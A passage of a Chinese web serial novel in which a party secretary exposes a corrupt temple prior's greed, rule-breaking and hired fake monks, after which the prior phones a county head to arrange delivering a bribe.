东妙监院方才背诵十诫时的洪亮自信,如同被戳破的气球,瞬间干瘪消失。
他脸色由红转白,由白转青,最后化为一片死灰。
额头上、脖颈间,豆大的汗珠争先恐后地涌出,汇成小溪,顺着松弛的皮肤蜿蜒而下,浸透了土黄色的僧衣领口,在胸前洇开大片深色的汗渍。
他双唇剧烈地颤抖着,喉结上下滚动,却发不出任何声音,仿佛被一只无形的大手死死扼住了咽喉。
他下意识地捻动佛珠,那紫檀珠子碰撞的“咔嗒”声,在死寂中显得异常刺耳,如同他濒临崩溃的心跳。
江昭宁的目光并未移开,如同两道冰冷的探照灯,穿透东妙监院摇摇欲坠的躯壳,照见那灵魂深处竭力掩藏的仓皇与溃败。
他微微倾身,最后一句问话,声音压得极低,却带着千钧之力,如同审判的槌音,狠狠敲落:“东妙法师,你既熟稔十诫,倒背如流……那么,这‘不蓄金银财宝’不贪财之戒,又是位列第几?”
“今日这清凉寺内,处处生财的‘妙法’,可曾逾越了这根本戒律的雷池?!”
“不……不贪财……”东妙监院像是被这三个字狠狠烫了一下,浑身剧震,猛地抬起头,浑浊的双眼瞪得极大,充满了无法置信的惊骇与彻底的无措。
他张大了嘴,如同离水的鱼,徒劳地开合着,却只能发出“嗬……嗬……”的破碎气音。
“现在的清凉寺充斥着尘世的喧嚣,还是六根清净传经布道的地方?”江昭宁一脸嘲讽。
那串被东妙监院视为精神支柱的紫檀佛珠,终于从汗湿滑腻的手中彻底脱出,“啪嗒”一声脆响,跌落尘埃。
珠子四散蹦跳,滚向大殿幽暗的角落,如同他此刻碎裂崩塌的信念与尊严,再也无法拾掇拼凑。
江昭宁的目光如淬火的钢针,精准地刺向东妙监院宽大僧袍下露出的那一抹刺目流光。
那截手腕,本该是持念珠、捧经卷的清修之地。
此刻却被一块锃亮得几乎晃眼的24K纯金劳力士牢牢锁住,表盘在禅房内幽暗的光线下兀自反射着冰冷而傲慢的光泽。
“东妙法师,”江昭宁的声音不高,却带着一种洞穿冰层的锐利,“你腕上这块表,价值不菲吧?”
他的视线在那块金表与东妙骤然惨白的脸之间来回扫视,“这沉甸甸的黄金,这精密的机芯,算不算金银财宝?”
“算不算……涂饰?”他最后两个字咬得极重,如同重锤落下,“这,破了你方才倒背如流的十诫吗?!”
“我……这……”东妙监院喉头剧烈地滚动,嘴唇哆嗦着,却吐不出一个完整的音节。
那刚刚背诵十诫时短暂恢复的镇定,如同被巨浪拍碎的沙堡,瞬间崩塌殆尽。
他下意识地想用僧袖掩盖住那块惹祸的金表,可手臂僵硬得如同枯木,只能徒劳地微微颤抖。
豆大的汗珠再次汹涌而出。
那刺眼的金色,此刻成了他信仰与身份最尖锐的讽刺。
他瞠目结舌,如同被钉在耻辱柱上的困兽,连一丝辩解的勇气都彻底丧失了。
江昭宁并未给他任何喘息的机会。
“还有,”他声音里的讽刺如同淬毒的冰凌,“在我进寺之时,就在这庄严殿宇的石阶阴影之下——”
“一个年轻的沙弥,本该是晨钟暮鼓、诵经打坐的年纪,却低着头,全神贯注地盯着他掌中那块小小的发光屏幕。”
“手指在屏幕上飞快地滑动、点击,那激烈闪烁的光影,那隐约传来的电子音效,如果我没看错没听错的话,分明是当下风靡尘世的手机游戏——《王者荣耀》!”
这名字如同一个惊雷,东妙监院猛地抬起头,浑浊的眼中掠过一丝难以置信的慌乱,随即又被一种近乎麻木的绝望覆盖。
他张了张嘴,声音干涩得像砂纸摩擦:“江书记……这……手机……手机只是……一种联系方式……僧人……僧人也是需要……需要联系……”
他的辩解在江昭宁如山般沉重的注视下,微弱得如同蚊蚋。
“需要联系?”江昭宁的声音陡然拔高,带着雷霆般的怒意与毫不掩饰的鄙夷,“所以就可以在众目睽睽之下,在这佛门净地的石阶之上,在四方游客信众的眼前,忘我地沉浸在那刀光剑影、杀伐决断的游戏世界里?!”
“这是‘联系’?!”
“这算哪门子的‘正业’?!”
第173章 这些是展品!
他向前逼近一步,无形的威压让空气都为之凝滞,“东妙法师,你告诉我,一个本该清心寡欲、持戒修行的沙弥,在香客往来如织的寺门前,如此‘务’他的‘正业’?”
“给那些怀着虔诚之心前来礼佛的信众,留下的是什么样的‘印象’?!”
他目光最终又落回到东妙监院手腕那刺目的金光上,声音低沉下去,却字字如刀,直剖核心:“这清凉寺内,究竟是上行下效,还是下行上效?”
他锐利的目光仿佛要穿透东妙监院的皮囊,直抵那被黄金和物欲层层包裹的灵魂,“是你这位腕戴金表、深谙生财‘妙法’的监院,带坏了下面年轻的小沙弥,让他们以为佛门清规不过一纸空文,游戏人间、追逐浮华才是常态?”
“还是下面这些小沙弥的心浮气躁、不务正业,最终也浸染了你这位本该持重守戒的上位者?”
“让你也迷失在这滚滚红尘的诱惑之中,将戒律清规抛诸脑后,只认得这金表的分量和那门票、香火、素斋的进项?!”
“你们——”江昭宁的声音陡然凝成冰锥,狠狠刺向东妙监院摇摇欲坠的精神,“到底是谁,影响了谁?!”
东妙无言以对。
他手腕上那块纯金的劳力士,在幽暗的光线下依旧固执地闪烁着冰冷刺眼的光芒。
像一枚烙在他灵魂上的耻辱印记。
也像是对这佛殿清规最辛辣、最无声的终极嘲讽。
他头颅深垂,几乎埋进了胸口,鬓角被汗水黏在灰败的脸颊上。
整个人只剩下粗重而断续的喘息。
那声音里,再没有一丝一毫身为监院的尊严,也没有半分方才背诵十诫时的“笃定”。
只剩下彻底的狼狈、无边的恐惧,以及信仰与身份双重崩塌后的……一片死寂的废墟。
室外,阳光依旧照着寺庙喧嚣的尘世。
扫码支付的提示音、手串挂件的叫卖声、游客的嬉笑喧哗,汇成一股巨大而嘈杂的声浪,持续不断地冲击着清凉寺古老的门墙。
清规戒律与滚滚红尘在这方寸之地激烈碰撞。
最终,只剩下一地信仰的残骸与无声的诘问,在香烛的余烬中缓缓沉沦。
江昭宁下面的话更是石破天惊,“在两边厢房的廊檐下,我看见了,赫然晾晒着几件色彩鲜艳的女性内衣和衣裙!”
“衣物在微风中轻轻晃动,异常扎眼。”
“佛门禁地允许女人留居?”
“游客看到这一幕,心里会有何种震撼?”
东妙如五雷轰顶,全身抽搐。
江昭宁的话仿佛不是从口中说出,而是一柄淬了寒冰的匕首,直直捅破了清凉寺这层看似庄严神圣的薄纱。
东妙如遭五雷轰顶,眼前那片刺目的斑斓瞬间化作万点金星,轰然炸开,又迅疾沉入无边的黑暗。
他双腿发软,几乎倏地站了起来,只是立不住,只能死死抓住身侧冰凉的红漆廊柱,粗糙的木刺扎进掌心,才勉强维持着不倒下去。
冷汗浸透了僧袍内里,黏腻地贴着脊背,如同无数冰冷的蛇在爬行。
仿佛那几件鲜艳的内衣,在微风中带着一种令人作呕的轻盈与挑衅,晃动着,像几面招摇的招魂幡,悬在佛殿庄严的檐角之下,投下的阴影正正压在他的心头。
“寺庙……允许女香客过夜?”江昭宁的声音不高,却像冰锥,一下下凿在东妙冰封的神经上,“还允许在如此显眼的地方,晾晒这等私密衣物?”
“不邪淫?清心寡欲的和尚与女人混居在一起厮混,算不算邪淫?”江昭宁眼神冰冷,“十诫破了几诫?”
他浑身剧颤,仿佛能听到自己骨骼在压力下咯咯作响的声音。
东妙知道,在佛门清净之地承认有淫秽之事,那是天崩地塌的事。
佛教协会知道了的话,怕是自己的戒牒也会被注销的。
恐惧,巨大的、灭顶的恐惧,瞬间攫住了他。
比刚才的惊惶更甚百倍。
他苦心经营的一切都将因为这廊檐下几件轻飘飘的亵衣,轰然倒塌,化为乌有!
这念头让他如坠冰窟,不,绝对不能承认!
东妙喉头滚动,干涩得如同吞下了香炉里的冷灰。
他断断续续、结结巴巴地挤出声音来:“江…江书记,您千万别…千万别误会!这些…这些花里胡哨的…女性内衣和衣裙…”
他用力喘口气,胸膛剧烈起伏,“它们…它们不是晾晒!”音量骤然拔高,像溺水者绝望的喊叫。
“哦?”江昭宁眉峰微挑,那份玩味的笑意更深了,带着一种洞穿一切的嘲讽,“那是什么?佛门清净地,总不会平白无故长出这些‘彩霞’来吧?”
“是……是展销会!”
东妙几乎是用尽全身力气喊出这三个字,声音尖利得变了调,“是…是因为!近期!我们寺内举行了一场…一场别开生面的女性用品展销会!”
“这些……这些是展品!”
“还没来得及撤走的展品!”汗水顺着他的太阳穴流下,他感到大殿里那些泥塑金刚的目光似乎都灼热起来,穿透了千年的尘埃,带着无声的诘问,刺得他体无完肤。
江昭宁眼中那点寒冰凝结的“笑意”骤然加深。
他饶有兴味地缓缓重复着,每个字都像是经过慢动作处理:“展——销——会?”
“在佛门清净之地?”短暂的停滞后,他倏然转向东妙,目光如雷霆电闪般直刺他浑浊惶恐的眼底。
他的声音陡然沉落下去,如同重锤击打皮鼓,“给谁看的?”
江昭宁略顿半秒,仿佛是在给那致命的嘲讽一点蔓延发酵的空间。
“在寺庙内,举办女性用品展销会?”他锐利的目光重新钉在东妙脸上,语气陡然加重,带着不容置疑的锋利,“给这些清心寡欲、持守戒律的师父们看吗?”
他的眼神如同实质的鞭子,抽得空气都噼啪作响。
这突如其来的刻毒诘问如同一把烧红的匕首,狠狠捅进东妙的心脏。他几乎能闻到皮肤被灼烧的焦糊气味。
东妙的脸瞬间惨白如金纸,慌忙摆手,身体控制不住地前倾,几乎要跪倒:“不!不!书记,您千万别误会!”
“天大的误会啊!这哪能是给师父们看的!”
他急喘着,语无伦次地解释,“我们这清凉寺……香火旺!人来人往,是远近闻名的旅游进香圣地啊!”
“女游客、女香客……特别多!”
他试图挤出一点笑容,那笑容却比哭还难看,扭曲在汗涔涔的脸上,“这展销会……纯粹是为了方便她们!”
“给她们看的!买点回去的!方便她们买!”
“服务信众,方便游客嘛!”
这解释虚弱得如同狂风里的蛛网。
江昭宁唇边那抹玩味的笑意终于彻底沉了下去,化作一片冰冷的深潭。
第174章 你有戒牒吧?
“方便游客?服务信众?”江昭宁的声音低沉下去,失去了之前的讥诮,却像裹挟着万钧之力的重锤,裹着冰冷的铁锈味,一下、一下,沉重无比地砸在东妙的心头,震得他五脏六腑都在翻腾。
每一个字都带着千斤的重量,砸在青石板上,也砸在东妙摇摇欲坠的理智上。
“好一个冠冕堂皇的理由!”这声感叹,没有半分赞赏,只有彻底的否定与冰冷的洞悉,像一把钝刀子,在东妙自以为是的遮羞布上狠狠划开。
江昭宁那股无形的、久居上位带来的压迫感骤然增强,如同实质的牢笼将东妙困在方寸之间。
“让女游客、女香客,”他语速缓慢,每个音节都咬得异常清晰,“跑到你这清凉寺——和尚聚集、诵经念佛的清净之地——来买私人密品?”
他刻意停顿,“来买内衣?衣裙?呵!”
“这倒是‘方便’得离奇!”
他的目光陡然锐利如刀锋,直刺东妙躲闪的双眼:“不怕犯了亵渎菩萨之罪?!”
这声质问,如同惊雷炸开。
“东妙法师,”江昭宁的声音更沉了,带着一种穿透灵魂的力量,“你入空门多少年了?”
紧接着,那冰冷的、不容置疑的、如同来自佛典本身的声音响起。
每一个字都带着古老戒律的森严重量,狠狠敲击在东妙脆弱的灵魂上。
“《梵网经》菩萨戒,‘若佛子,自淫,教人淫,乃至一切女人不得故淫’……”
“《四分律》明载比丘戒,‘若比丘行淫法,得波罗夷不共住’……”
江昭宁的声音并未停止,“……这些清规戒律,在你清凉寺的‘方便’二字面前,”他刻意加重了那两个字,充满了极致的讽刺,“是不是都成了可以随意擦改的粉笔字?”
“成了挂在墙上充门面、落满灰尘的旧纸?”
“成了你们可以视若无睹、踩在脚下的门槛?!”
每一个戒律名称的引用,每一个古老的梵文词汇,如“波罗夷”从江昭宁口中清晰地吐出,都像一把把烧红的烙铁,带着嗤嗤的灼烧声,狠狠烫在东妙的灵魂上。
那不仅仅是知识的碾压,更是信仰层面的终极审判!
东妙感到自己那层名为“监院”的华丽僧袍正在被无形的火焰焚烧殆尽,露出里面那个早已被世俗欲望蛀空的躯壳。
冷汗不再是渗出,而是如同决堤的洪水,瞬间浸透了他里外几层的僧衣,黏腻、冰冷、沉重,紧紧包裹着他因恐惧而剧烈颤抖的身体,仿佛要将他溺毙在这无边的罪孽感中。
他的喉咙被无形的巨手扼住,连辩解的气力都彻底丧失。
江昭宁不再言语。
他只是静静地、冰冷地注视着东妙。
那目光不再是审视,而是纯粹的、彻底的、如同寒冰深渊般的洞穿与裁决。
时间仿佛凝固,在这无声的注视下,东妙感觉自己正被一寸寸剥开,从皮肉到骨髓,从谎言到贪欲,无所遁形。
那冰冷的视线如同实质的冰锥,刺穿他所有的侥幸,将他死死钉在佛门戒律的耻辱柱上,动弹不得。
连灵魂都在那目光下冻结、龟裂。
江昭宁那冰冷如深潭的目光并未在东妙身上停留太久,仿佛多看一眼都是对某种底线的亵渎。
江昭宁突然开口,声音不高,却像一道毫无预兆的闪电,劈开了死寂的空气:“东妙和尚,”他这次连“法师”都省去了,称呼直白得近乎刻薄,每一个字都像冰珠子砸在青石板上,“你有戒牒吧?”
戒牒是省佛教协会颁发的官方凭证,是正式僧侣的身份证明。
披上这身袈裟或许是虚妄,但那张加盖了大红官印的文书是实打实的。
有了它,你才是官方认可的释门子弟,才能享用每月由政府拨付的特殊生活补贴。
它代表的是一条命脉。
更是他东妙在清凉寺这片“佛国”里行使权力的法理基石!
在某种意义上,这张纸才是他赖以为生、乃至呼风唤雨的根本所在!
东妙浑身剧烈一抖,仿佛被无形的电流击中,几乎要从椅子上滑落下去。
他不知道江昭宁问话的用意,只觉得这突兀的话来者不善。
他双手死死抠住椅子的扶手,指关节因用力而泛出惨白,指甲几乎要嵌进那光滑的红木里。
“是……是的!”他声音嘶哑,带着一种濒死般的确认,额头上的冷汗汇成小溪,顺着眉骨流进眼角,带来一阵刺痛和模糊,“书记,我有……我有戒牒!”
他像是溺水者抓住最后一根稻草,急切地想要证明自己存在的“合法性”。
江昭宁并未看他那狼狈的样子。
“没有戒牒的呢?”江昭宁紧接着追问,声线依旧不高,语速却陡然加快一分,字字如锤击鼓,“在这清净寺内,”他目光扫过四周,仿佛穿透厚重的门窗审视着整个寺院中如织的香客和形形色色的僧人身影,“有多少?”
他微微侧过头,眼角的余光如同冰冷的刀锋扫过东妙,加重语气道,“你这清凉寺里,有多少人……没有它?”
巨大的恐慌瞬间攫紧东妙的咽喉!
“没……没有的?”东妙的心脏瞬间被一只无形的大手攥紧,几乎停止了跳动。
他浑身筛糠般剧烈哆嗦起来,冷汗如同油浆一样糊了满脸。“有…有…”
他嘴巴徒劳地开合了几下,喉咙里发出嚯嚯的倒气声,手指深深嵌入袈裟下的皮肉中,“一…一半吧…”声音细若蚊蚋,每一个音节都是剜心剔骨之痛。
话一出口,他整个人便像被抽干了脊骨,委顿下去更深一分,头颅几乎要埋进胸口那片刺眼的污秽里。
“‘一半’?”江昭宁缓缓地重复着这个冰冷扎心的比例数字。
他的脸上仿佛骤然蒙上了一层寒冬的严霜,连眉梢都结出凛冽的冰棱。
江昭宁终于将目光完全转回,精准地落在东妙那张因恐惧而扭曲的脸上,嘴角勾起一丝极其冰冷的弧度,“那就是说,你这号称百年古刹、戒律森严的清凉寺里,有一半的‘出家人’,并非真正的佛门弟子?”
他刻意停顿,每一个字都像重锤,“或者说,寺里半数所谓持戒清修、受人供奉礼拜的比丘僧众,不过是披着这身黄绸、混入此地的……‘临时工’?”
他的声音陡然下沉半度,比刚才更低,却更清晰得如同钢针穿透耳膜,“只是你东妙和尚……雇佣的‘临时工’?”
“临时工”三个字,被江昭宁咬得极重,充满了辛辣的讽刺。
它撕开了“僧人”这个神圣称谓的伪装,将其还原为最赤裸的雇佣关系。
第175章 一戳即破
“那一个埋头玩手机,聚精会神打游戏的僧人,就是这类人吧?”
“还有那个些,口若悬河、堪比市井商贩的叫卖推销经文的,也是吧?”
江昭宁的声音陡然拔高,带着雷霆万钧的质问,“他们穿着僧衣,顶着‘师父’的名头,干的却是‘上班捞钱’的营生?”
东妙如同被一只无形的巨手死死扼住颈项,整张脸憋成了骇人的猪肝色,眼睛暴凸,身体弓曲痉挛着。
他的喉咙里艰难地迸出几个断断续续、毫无逻辑的字音:“不……不……也要…也要受约束……”
“不,不……**,他们……他们与我们一样也受佛家戒律约束的……”这话他自己说出来都觉得荒谬至极,毫无底气。
“约束?”江昭宁嗤笑一声,那笑声如同冰锥,狠狠扎进东妙的耳膜,“他们既不真心向佛,又不曾正式受戒,没有佛协会颁发的戒牒,连每个月本分僧人该有的那点儿基础生活补助都拿不到!”
“不为信仰,不为修行,不为戒牒身份,更不为那点微薄生活补助——你说!他们图什么?!”
他向前一步,无形的压力排山倒海般涌来,“告诉我,他们图什么?图你清凉寺的晨钟暮鼓?”
“图你禅房的青灯古佛?”
“还是图这份穿着袈裟就能轻松‘上班’,拿着不菲的提成和工资,然后——”
江昭宁的目光变得无比锐利,仿佛能穿透那层僧衣,看到其下的灯红酒绿,“下班后,就能心安理得地脱掉这身伪装,呼朋唤友,饮酒啖肉,纵情声色,投入到滚滚红尘之中,肆意享受人生?”
“KTV、酒吧、酒店……凡尘俗世的享乐,一样不少吧?嗯?”
“他们是什么?不过是你这清凉寺商业帝国里,一个不在册的、穿着戏服的临时工!”
这一声诘问如同烧红的烙铁,烫得东妙浑身猛一抽搐!
他像濒死的鱼一样大张着嘴,徒劳地呼吸着冰冷粘稠的空气,巨大的心理压力让他脑中一片轰鸣空白。
东妙被这赤裸裸的描绘彻底击垮了,他感觉自己的五脏六腑都被掏空了,只剩下冰冷的恐惧在躯壳里回荡。
“不……不是这样的……”他语无伦次,所有的辩解在铁一般的事实逻辑面前都显得苍白可笑,如同肥皂泡,一戳即破。
江昭宁死死盯着他已然灰败不堪的脸孔,声音带着沉渊般的力量重压下来:“你!作为这清凉寺一寺之尊,这宝刹监院!”
“你私下里广开方便之门,让这么多临时工和尚涌进来!如过江之鲫!你到底图什么?!”
“你又把这些根本不属于佛门的外人弄进这清净佛地,来……做什么?!”
“啪嗒——”
一粒从东妙扭曲面庞上滚落下来的浑浊汗珠,“啪嗒”一声,摔碎在冰凉光滑的地砖上,溅射开一朵微小的、湿漉漉的污迹花,恰如此刻他心底疯狂蔓延的绝望黑洞。
死寂。
整个室内沉陷于一种令人窒息的重压之中,几乎能够听到血液在血管里奔涌的嗡鸣。
殿外遥远地方隐约有游客嘈杂声和法器敲击声传进来,反而更衬得这方空间的真空死寂。
就在东妙的精神防线如同被烈日暴晒千年的朽木,仅剩最后一丝脆弱纤维还勉强牵连,眼看即将彻底崩塌粉化的临界点上——
江昭宁那鹰隼般极具穿透力的目光,却倏忽从他汗涔涔的秃顶扫向大殿的侧方门户。
视线仿佛透过那些厚重的朱漆木门和雕花窗棂,投向了一个远在视线之外、却被他心头地图精准定位的方位!
他的气息,那如同铁板一般压制着全场的气息,陡然出现了一个极其精微的变化。
室内所有人心弦都为之一紧。
东妙脸上僵硬冻结的恐惧里,也本能地掠过一丝微弱的、疑惑的涟漪。
“这些有戒牒的——”江昭宁再次开口时,声音已经重新收敛得平稳如初。
甚至比刚才刻意制造的逼问风暴更显平静。
可这平静下潜藏的暗流却让东妙浑身的鸡皮疙瘩骤然耸立起来!
他缓缓地将目光落回东妙那身刺眼的袈裟之上,清晰吐出:“还有那些,”他的视线锐利地扫过大殿内外,“没有戒牒的……‘临时工’们。”
江昭宁将“临时工”这三个字以一种格外清晰缓慢的语调,单独拎出来,重述了一遍,如同在冰冷
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的铁砧上又敲下了一记。
他眉峰轻微地挑了一下,目光重新凝在东妙身上:“按寺规,也照农禅并重的古训,他们……都要参加‘禅田’劳作吧?”
江昭宁刻意加重了“禅田劳作”四个字,带着一种深沉的、近乎悲悯的讽刺。
农禅并重,本是汉传佛教尤其是禅宗的根本精神之一,是维系僧团清修、远离商业化侵蚀的重要传统。
——禅田!
这个词如同破空的警哨,带着尖锐的锋芒狠狠扎入东妙混乱的脑海!
那些关于“农禅”“劳作”“汗水”“清苦”等尘封已久的遥远概念,如同被强光照射的古墓壁画,残破模糊的影像在电光火石间掠过他的意识,但立刻就被更深沉巨大的惊惧旋涡粗暴地搅碎、吞噬!
几乎是不假思索!本能驱使!
东妙那已经被汗水浸透的身体猛地绷紧,仿佛被无形的针狠狠刺中,干裂的嘴唇几乎是条件反射般翕动:“参…参加!参加的!大家都干活儿的!”
他的声音又急又虚高,带着一种溺水者看到稻草时的盲目的奋力挣扎,尖锐得在空旷的大殿里产生了细微而刺耳的回响。
东妙像是抓住了一根救命稻草,试图用这个“传统”来掩饰或冲淡刚才的丑恶。
“哦?”江昭宁眉峰一挑,那份洞悉一切的了然让东妙的心瞬间沉入谷底,“收获了多少粮食作物?”
他问得极其具体,不留丝毫转圜余地。
东妙额头的汗珠滚落得更急,他慌乱地用袖子擦拭,僧袍的袖口已湿透一大片。
“这……这收获的粮食……全部……全部都用于寺内日常用度了!僧众们的口粮,都是……都是自给自足的!”
他努力想描绘出一副清苦修行的图景。
“自给自足?”江昭宁发出一声极轻的冷哼,那声音不大,却如同惊雷在东妙耳边炸响,“好一个‘自给自足’。”
他转过身,面向来时的方向,目光似乎穿透了层层殿宇和围墙。
“只是,为什么我从进山门开始,一路行来,”他的声音陡然变得无比冰冷,每一个字都像冰雹砸下,“却根本没有看到所谓的‘禅田’呢?”
第176章 与狐谋裘!
“**!您……您看不到也正常啊!”东妙急得几乎要跳起来,声音带着哭腔,“现在是深秋,秋收季节啊!”
“田里的庄稼……早就收割完了!”
“地里光秃秃的,您当然看不到作物了!”他像是终于找到了一个“合理”的解释,尽管这解释在江昭宁那洞察一切的目光下显得如此心虚,如同纸糊的盾牌。
“秋收?光秃秃?”江昭宁缓缓转过身,脸上没有任何表情,但那眼神却冷得让东妙如坠冰窟。
“东妙,”他直呼其名,连“和尚”二字都省了,宣告着最后一丝表面的尊重也已荡然无存,“我们三人上山,在距离你山门不到一里地的后山坳,确实看到了一片被圈起来的、据路牌指示属于你清凉寺的土地。”
东妙的心猛地一沉,瞳孔骤然收缩,一种灭顶的绝望感瞬间攫住了他。
“我们看到的,”江昭宁的声音清晰、冰冷、不容置疑,如同法官在宣读终审判决,“不是收割后的田垄,不是等待来年播种的休耕地。”
“我们看到的,是一片彻底被遗忘、被抛弃的荒地!”
“蒿草长得比人还深,枯黄一片,在秋风里像一片绝望的海洋!”
“野鸡、野兔在其间出没,视若无物!”
“地头的引水沟渠早已坍塌淤塞,生锈的农具半埋在荒草里,如同被时代抛弃的骸骨!”
“那抛荒的景象,绝非一年半载能形成,看那蒿草的根茎粗壮程度,看那肆意蔓延的藤蔓覆盖了原本的田埂……”
江昭宁的目光死死钉住东妙,一字一句,如同重锤,“那抛荒,至少也得有几年了吧?!”
“轰——!”
东妙的脑中仿佛有万吨**同时引爆!
最后一块遮羞布被彻底、无情、血淋淋地撕开!
他所有的谎言,所有的掩饰,所有的侥幸,都在江昭宁这亲眼所见、细致入微的描述面前,被碾得粉碎!
他张大了嘴巴,喉咙里发出“嗬嗬”的怪响,却一个字也吐不出来。
他感觉全身的血液瞬间冲上头顶,又在下一秒退得干干净净,眼前一阵阵发黑,金星乱冒。
他瘫软在椅子上,像一滩彻底失去骨架支撑的烂泥,连手指都无法动弹一下。
只有那双瞪得溜圆的眼睛里,充满了难以置信的惊骇和彻底崩塌的绝望,真正是“目瞪口呆”——魂飞魄散!
江昭宁不再看他。
这一番连珠炮似的交锋,层层剥笋,步步紧逼。
从戒牒的合法性到假和尚的雇佣本质,从戒律的形同虚设到农禅传统的彻底背叛……
他已完全、彻底地看清了东妙,或者说,看清了眼前这个顶着“监院”名号的人的真正嘴脸。
什么高僧大德?
什么佛门清净?什么农禅并重?
不过是一个披着神圣袈裟的、彻头彻尾的商人!
一个将千年古刹当作公司运营、将信仰当作商品贩卖、将清规戒律当作敛财绊脚石的精致的利己主义者!
一个早已被金钱和世俗欲望浸透骨髓、与佛门真义背道而驰的“伸手和尚”!
他早已不是修行者,他早已越过了那条不可逾越的界限,坠入了万丈红尘的深渊。
指望这样一个人来协助建立弘扬“农禅”精神的博物馆?
来打造让现代人体验“一日不作,一日不食”的农禅文化体验区?
江昭宁心中冷笑。
那无异于与虎谋皮,与狐谋裘!
简直是天大的讽刺,是对“农禅”二字最彻底的亵渎!
今日的清凉寺,金玉其外,败絮其中。
那袅袅的香火掩盖不住铜臭,那庄严的梵呗压不下市井的叫卖,那金身的佛像照不透人心的沉沦。
它早已不是往昔那个晨钟暮鼓、青灯黄卷、僧众荷锄归、心向菩提的清凉古刹了!
它只是一个披着宗教外衣、疯狂吸金的旅游景点和商业机构。
摒弃他。
这是唯一的选择。
也是必须的选择。
没有任何犹豫,没有任何回旋的余地。
东妙瘫在冰冷的红木椅子上,身体不受控制地微微抽搐着,僧衣被冷汗浸透,紧贴着皮肤,带来刺骨的寒意。
但这寒意,远不及他心头的万分之一。
他清晰地感受到,从踏入山门时那声客气的“东妙大师”,到发现内衣时的“禅师”,再到质问戒律时的“法师”,再到刚才的“和尚”直到此刻直呼其名,充满鄙
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夷的“东妙”……
江昭宁对他的称呼,如同温度计的水银柱,一路下跌,跌穿了冰点,跌入了万丈深渊。
每一次称呼的改变,都像一把冰冷的锉刀,狠狠挫掉他身上一层虚假的光环和可怜的尊严。
他在**心目中的分量,早已不是越来越轻,而是……彻底归零,甚至变成了负数——一个需要被立刻清除的腐朽与污秽的象征!
这份认知带来的严寒,比西伯利亚的暴风雪更刺骨,瞬间包裹了他的全身,冻结了他的血液,冰封了他的灵魂。
他仿佛看到自己苦心经营的一切,那金光闪闪的佛像,那人头攒动的香客,那源源不断的财富,还有那象征着“高僧”地位的戒牒……
都在江昭宁那冰冷彻骨的目光注视下,寸寸龟裂,化为齑粉,被那后山坳的蒿草深深埋葬。
禅房里死寂一片,只有秋风穿过荒芜禅田的呜咽声,仿佛从遥远的时空传来,为这座迷失的古刹,奏响了一曲凄凉的挽歌。
江昭宁说完了这一切后,起身向外走去。
林方政、秦怡也随之跟随而去。
天渐渐地昏暗了,这是山雨来临的征兆。
……
禅房内只剩下东妙一人。
禅房内,灯影昏沉。
檀香如游丝般缠绕着,却压不住东妙身上那股浓重得化不开的汗味。
他下意识地攥紧袈裟一角,指关节因用力而泛白,似乎想从中榨取一点支撑下去的力量。
可布料却只传递回一片冰凉滑腻的触感。
汗水沿着鬓角滑落,滴在陈旧发暗的蒲草上,晕开一小片更深的阴影,无声无息,像渗出的血。
他猛地抬起头,目光撞上对面佛龛里那尊低眉垂目的菩萨。
菩萨的眼,半阖着,似悲悯,似审视,那永恒不变的慈和微笑在摇曳的烛火下竟显得如此陌生而遥远。
东妙的心骤然一缩,仿佛被那石塑的眸光刺穿了。
他慌忙低下头,不敢再看,只觉那微笑里藏着无尽的冷意,将他周身仅有的一点暖意也抽吸殆尽。
恐惧像冰冷的藤蔓。
从脚底无声无息地缠上来,勒紧他的喉咙。
不行,必须做点什么,必须抓住什么!
第177章 懂不懂规矩?!
一个念头,如同黑暗里擦亮的第一根火柴,微弱却清晰——他哆嗦着,手伸进厚重的袈裟内袋深处摸索。
指尖触到那坚硬、冰冷的塑料外壳时,他几乎要发出一声哽咽般的叹息。
掏出来,是一部手机。
幽蓝的屏幕光瞬间刺破禅房的昏暗,也照亮了他脸上纵横交错的汗迹和眼中无法掩饰的惊惶。
手指在冰冷的屏幕上滑动,湿滑的汗珠让指尖不住打滑,心跳沉重得像擂鼓。
终于找到了那个没有存储名字、只标记着一串本地号码的联系人。
他深吸一口气,那口气息在胸腔里剧烈颤抖,带着破风箱般的嘶鸣。
他用力按下拨号键,将冰凉的手机紧紧贴在耳朵上,仿佛那是唯一的浮木。
“嘟…嘟…”的等待音,每一声都像敲在他绷紧的神经上。时间被拉扯得无比漫长。
终于,通了。
一个低沉、带着明显被打扰后不耐的声音传来:“喂?”
“刘…刘县长,”东妙的声音干涩发紧,像被砂纸磨过,“是我,清凉寺的东妙监院。”
他报上名号,喉结上下滚动,咽下那份**的粘稠。
“哦,东妙大师。”电话那头,刘世廷的声音拉长了一点,那份被打扰的愠怒似乎稍缓,但漫不经心的腔调依旧如钝刀子割人,“什么事?直说!”
背景里传来一声轻微的瓷器碰撞声,大概是茶杯被放下。
东妙攥着手机的指节捏得发白,指甲几乎要嵌进塑料壳里。
他再次深深吸气,胸腔里却像塞满了湿透的棉絮,沉重得无法扩张:“是…是这样的,刘县长,我寺…您那份…八十万的‘红利’……”他艰难地吐出那个词,“准备好了。”
“您看,我怎么转给您?”他顿了顿,仿佛在给自己鼓气,声音压得更低,带着一种近乎卑微的试探,“是走…手机银行转账?”
“还是…现金给付?”
电话那头骤然陷入一片死寂。
几秒钟后,听筒里猛地炸开一声短促、刺耳的冷笑,像是金属刮过玻璃。“呵!”
紧接着,是刘世廷陡然拔高、压抑着狂怒的质问,每一个字都像淬了冰的针,“东妙!**脑子被香火熏糊了?”
“还是被功德箱砸傻了?”
他的声音从齿缝里挤出来,“手机转账?现金给付?**这是要‘雁过留痕’?”
“生怕纪委查不到我头上,存心给我留个铁打的把柄是不是?!”
那“铁打的把柄”几个字,像烧红的烙铁,狠狠烫在东妙的心尖上。
他浑身一抖,手机差点滑落,慌忙用另一只手死死捂住话筒,仿佛那里面随时会喷出致命的火焰。
他感到一阵眩晕,眼前的烛光模糊成跳动的光斑。
“规矩!懂不懂规矩?!”刘世廷的斥责如同鞭子,继续抽打过来,带着不容置疑的威压,“按原来的!专人!专车!给我安安稳稳地送过来!”
“再敢动这些没脑子的歪心思,我看你这监院的位置,也是坐到头了!”
“是!是是是!刘县长息怒!息怒!”东妙连声应着,语无伦次,腰不由自主地弯下去,对着空气不住点头哈腰,额头上的冷汗汇成大颗大颗的汗珠滚落,“我糊涂!我该死!”
“按原来的!专人专车!我亲自…亲自乘车给您送来!”
“绝不敢再出差错!”
“什么时候?”刘世廷的声音依旧冰冷,但怒意似乎因对方的驯服而略略平息。
“马上!立刻!”东妙斩钉截铁,仿佛在宣示某种效忠。
“不要,天完全黑后再来。”
“好。”
